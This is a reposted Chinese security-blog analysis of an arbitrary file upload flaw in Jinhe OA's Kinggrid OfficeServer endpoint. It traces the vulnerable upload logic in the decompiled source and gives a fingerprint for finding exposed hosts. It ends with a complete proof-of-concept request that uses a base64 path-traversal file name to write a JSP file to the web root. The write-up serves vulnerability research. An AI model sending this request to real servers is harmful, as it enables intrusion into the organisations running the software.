金和OA漏洞源码分析

admin 2023年11月14日12:47:21评论198 views字数 1477阅读4分55秒阅读模式

0x01 技术文章仅供参考学习,请勿使用本文中所提供的任何技术信息或代码工具进行非法测试和违法行为。若使用者利用本文中技术信息或代码工具对任何计算机系统造成的任何直接或者间接的后果及损失,均由使用者本人负责。本文所提供的技术信息或代码工具仅供于学习,一切不良后果与文章作者无关。使用者应该遵守法律法规,并尊重他人的合法权益。

0x02

指纹信息:web.body="/jc6/platform"

0x03 源码分析

先看web.xml文件发现存在一个路径是/OfficeServer然后我们追踪OfficeServer类发现是在库内,这里我直接把lib库全编译了。

金和OA漏洞源码分析

金和OA漏洞源码分析

然后我们去网站访问这个路径发现是金格组件的回显。

金和OA漏洞源码分析

金格组件是什么?金格组件是一种文档控件,能够在浏览器上进行编辑word文档、excel表格等文档最终保存在服务器上,手写签名、电子签章广泛应用于此。然而如果未做处理直接去引用金格组件,可能会导致系统产生任意文件上传漏洞(这种也很常见像之前宏景hcm的officeserver上传等等)

在看源码追踪OfficeServer,发现这个OfficeServer类继承了HttpServlet,它的service方法通过创建一个OfficeExecute对象并调用其ExecuteRun方法来处理请求。

金和OA漏洞源码分析

然后我们去看OfficeExecute处代码发现确定是使用了金格组件我们往下去翻ExecuteRun方法的代码内容。

金和OA漏洞源码分析

可以看到ExecuteRun方法使用了很明显的金格组件上传文件的方式先是获取路径并进行判断,然后在代码中当mOption的值为"SAVEFILE”或"INSERTFILE" 时,执行文件上传的逻辑。用户可以通过相应的请求参数来指定文件名。其他的大家仔细看看代码太多就不截图分析了,一般遇到金格大部分都是不会针对校验过滤的。

金和OA漏洞源码分析

金和OA漏洞源码分析

金和OA漏洞源码分析

0x04 漏洞复现

金和OA漏洞源码分析

POST /jc6/OfficeServer HTTP/1.1Host: xxx.xxx.xxx.xxxCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/114.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 173
DBSTEP V3.0 89 0 104 DBSTEP=REJTVEVQOPTION=U0FWRUFTSFRNTA==HTMLNAME=Li4vLi4vcHVibGljL2VkaXQvaW5mby5qc3A=<%out.println("111");%>

HTMLNAME=是base64后的上传的文件路径../../public/edit/info.jsp

上传后的路径是http://xxx.xxx.xxx.xxx/public/edit/info.jsp

原文始发于微信公众号(Kokoxca安全):金和OA漏洞源码分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年11月14日12:47:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   金和OA漏洞源码分析https://cn-sec.com/archives/2199028.html

发表评论

匿名网友 填写信息